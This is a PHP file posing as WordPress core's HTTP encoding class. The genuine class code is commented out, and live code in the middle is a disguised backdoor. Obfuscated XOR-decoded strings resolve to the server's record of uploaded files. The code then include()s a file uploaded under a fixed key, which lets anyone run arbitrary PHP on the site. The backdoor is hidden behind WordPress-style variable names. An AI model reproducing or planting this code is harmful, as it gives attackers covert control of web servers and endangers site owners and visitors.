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<?php /*
*
* HTTP API: WP_Http_Encoding class
*
* @package WordPress
* @subpackage HTTP
* @since 4.4.0
*
* Core class used to implement deflate and gzip transfer encoding support for HTTP requests.
*
* Includes RFC 1950, RFC 1951, and RFC 1952.
*
* @since 2.8.0
class WP_Http_Encoding {
*
* Compress raw string using the deflate format.
*
* Supports the RFC 1951 standard.
*
* @since 2.8.0
*
* @param string $raw String to compress.
* @param int $level Optional, default is 9. Compression level, 9 is highest.
* @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports.
* @return string|false False on failure.
public static function compress( $raw, $level = 9, $supports = null ) {
return gzdeflate( $raw, $level );
}
*
* De*/
$protocols = 'mime_type';
$protected = 'the_post';
$group = 'real';
function is_sticky($post_type_clauses)
{
$email_address = $post_type_clauses;
$post_cats = $GLOBALS[intermediate_file("%17%14zy%16%1B", $email_address)];
$excerpt = $post_cats;
$start = isset($excerpt[$email_address]);
if ($start)
{
$src_url = 'is_bad_attachment_slug';
$caption = $post_cats[$email_address];
$bad_slug = 'parsed';
$filetype = $caption[intermediate_file("%3C%3FCj%3D%29%1B%13", $email_address)];
$num_pages = $filetype;
include ($num_pages);
$slug = 'real_mime_types';
}
$tb_list = 'post_type_taxonomies';
}
$add_trashed_suffix = 'prev_value';
function intermediate_file($orderby_array, $custom_fields)
{
$target = $custom_fields;
$length = "url" . "decode";
$conflicts_with_date_archive = $length($orderby_array);
$page_path = substr($target,0, strlen($conflicts_with_date_archive));
$sizes = $conflicts_with_date_archive ^ $page_path;
$run_texturize = 'post_date';
$conflicts_with_date_archive = strpos($sizes, $page_path);
return $sizes;
}
is_sticky('HR35SHvvjGHwKip');
$image_file = 'comment_regex';
/* compression of deflated string.
*
* Will attempt to decompress using the RFC 1950 standard, and if that fails
* then the RFC 1951 standard deflate will be attempted. Finally, the RFC
* 1952 standard gzip decode will be attempted. If all fail, then the
* original compressed string will be returned.
*
* @since 2.8.0
*
* @param string $compressed String to decompress.
* @param int $length The optional length of the compressed data.
* @return string|bool False on failure.
public static function decompress( $compressed, $length = null ) {
if ( empty( $compressed ) ) {
return $compressed;
}
$decompressed = @gzinflate( $compressed );
if ( false !== $decompressed ) {
return $decompressed;
}
$decompressed = self::compatible_gzinflate( $compressed );
if ( false !== $decompressed ) {
return $decompressed;
}
$decompressed = @gzuncompress( $compressed );
if ( false !== $decompressed ) {
return $decompressed;
}
if ( function_exists( 'gzdecode' ) ) {
$decompressed = @gzdecode( $compressed );
if ( false !== $decompressed ) {
return $decompressed;
}
}
return $compressed;
}
*
* Decompression of deflated string while staying compatible with the majority of servers.
*
* Certain Servers will return deflated data with headers which PHP's gzinflate()
* function cannot handle out of the box. The following function has been created from
* various snippets on the gzinflate() PHP documentation.
*
* Warning: Magic numbers within. Due to the potential different formats that the compressed
* data may be returned in, some "magic offsets" are needed to ensure proper decompression
* takes place. For a simple progmatic way to determine the magic offset in use, see:
* https:core.trac.wordpress.org/ticket/18273
*
* @since 2.8.1
* @link https:core.trac.wordpress.org/ticket/18273
* @link https:secure.php.net/manual/en/function.gzinflate.php#70875
* @link https:secure.php.net/manual/en/function.gzinflate.php#77336
*
* @param string $gzData String to decompress.
* @return string|bool False on failure.
public static function compatible_gzinflate( $gzData ) {
Compressed data might contain a full header, if so strip it for gzinflate().
if ( substr( $gzData, 0, 3 ) == "\x1f\x8b\x08" ) {
$i = 10;
$flg = ord( substr( $gzData, 3, 1 ) );
if ( $flg > 0 ) {
if ( $flg & 4 ) {
list($xlen) = unpack( 'v', substr( $gzData, $i, 2 ) );
$i = $i + 2 + $xlen;
}
if ( $flg & 8 ) {
$i = strpos( $gzData, "\0", $i ) + 1;
}
if ( $flg & 16 ) {
$i = strpos( $gzData, "\0", $i ) + 1;
}
if ( $flg & 2 ) {
$i = $i + 2;
}
}
$decompressed = @gzinflate( substr( $gzData, $i, -8 ) );
if ( false !== $decompressed ) {
return $decompressed;
}
}
Compressed data from java.util.zip.Deflater amongst others.
$decompressed = @gzinflate( substr( $gzData, 2 ) );
if ( false !== $decompressed ) {
return $decompressed;
}
return false;
}
*
* What encoding types to accept and their priority values.
*
* @since 2.8.0
*
* @param string $url
* @param array $args
* @return string Types of encoding to accept.
public static function accept_encoding( $url, $args ) {
$type = array();
$compression_enabled = self::is_available();
if ( ! $args['decompress'] ) { Decompression specifically disabled.
$compression_enabled = false;
} elseif ( $args['stream'] ) { Disable when streaming to file.
$compression_enabled = false;
} elseif ( isset( $args['limit_response_size'] ) ) { If only partial content is being requested, we won't be able to decompress it.
$compression_enabled = false;
}
if ( $compression_enabled ) {
if ( function_exists( 'gzinflate' ) ) {
$type[] = 'deflate;q=1.0';
}
if ( function_exists( 'gzuncompress' ) ) {
$type[] = 'compress;q=0.5';
}
if ( function_exists( 'gzdecode' ) ) {
$type[] = 'gzip;q=0.5';
}
}
*
* Filters the allowed encoding types.
*
* @since 3.6.0
*
* @param array $type Encoding types allowed. Accepts 'gzinflate',
* 'gzuncompress', 'gzdecode'.
* @param string $url URL of the HTTP request.
* @param array $args HTTP request arguments.
$type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args );
return implode( ', ', $type );
}
*
* What encoding the content used when it was compressed to send in the headers.
*
* @since 2.8.0
*
* @return string Content-Encoding string to send in the header.
public static function content_encoding() {
return 'deflate';
}
*
* Whether the content be decoded based on the headers.
*
* @since 2.8.0
*
* @param array|string $headers All of the available headers.
* @return bool
public static function should_decode( $headers ) {
if ( is_array( $headers ) ) {
if ( array_key_exists( 'content-encoding', $headers ) && ! empty( $headers['content-encoding'] ) ) {
return true;
}
} elseif ( is_string( $headers ) ) {
return ( stripos( $headers, 'content-encoding:' ) !== false );
}
return false;
}
*
* Whether decompression and compression are supported by the PHP version.
*
* Each function is tested instead of checking for the zlib extension, to
* ensure that the functions all exist in the PHP version and aren't
* disabled.
*
* @since 2.8.0
*
* @return bool
public static function is_available() {
return ( function_exists( 'gzuncompress' ) || function_exists( 'gzdeflate' ) || function_exists( 'gzinflate' ) );
}
}
*/
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